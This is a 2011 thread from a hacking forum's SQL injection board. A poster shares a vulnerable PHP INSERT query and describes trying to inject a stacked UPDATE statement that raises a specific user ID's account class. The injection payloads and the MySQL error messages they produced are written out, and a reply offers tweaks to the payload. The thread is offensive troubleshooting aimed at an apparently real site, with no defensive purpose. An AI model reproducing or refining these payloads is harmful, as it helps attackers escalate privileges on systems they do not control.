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www.waraxe.us Forum Index -> Sql injection -> Supposedly simple but I think I'm doing something wrong
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Supposedly simple but I think I'm doing something wrong
PostPosted: Thu Jun 02, 2011 6:37 pm Reply with quote
Boon
Beginner
Beginner
 
Joined: Jun 02, 2011
Posts: 1




Hi, I'm trying to inject into this query
Code:

    mysql_query("INSERT INTO pollanswers VALUES(0, $pollid, $userid, $choice)") or sqlerr();

all the php variables except $choice are irrelevant and for example's sake we can pretend they all are 1.
The server is running MySQL.

I have control over the $choice parameter
and my goal is to execute this query
Quote:
UPDATE USERS SET CLASS=9 WHERE ID=219141

I came up with something like this:
Quote:
3); UPDATE USERS SET CLASS=9 WHERE ID=219141;--

but I get this error

Quote:
SQL Error
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UPDATE USERS SET CLASS=9 WHERE ID=219141;--)' at


It seems like /* and -- do nothing and I'm left with an extra )

So I came up with this
Quote:
3); UPDATE USERS SET CLASS=9 WHERE ID=(219141

And now I get THIS error

Quote:
SQL Error
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UPDATE USERS SET CLASS=9 WHERE ID=(219141)' at line 1

Now I'm stumped, what am I doing wrong?
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PostPosted: Fri Jun 10, 2011 7:43 am Reply with quote
RubberDoll
Active user
Active user
 
Joined: Jun 04, 2009
Posts: 46




Did you try not yo use the semi-colon?
instead maybe use ID=219141-- only


And how do you know you have update permission?
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Supposedly simple but I think I'm doing something wrong
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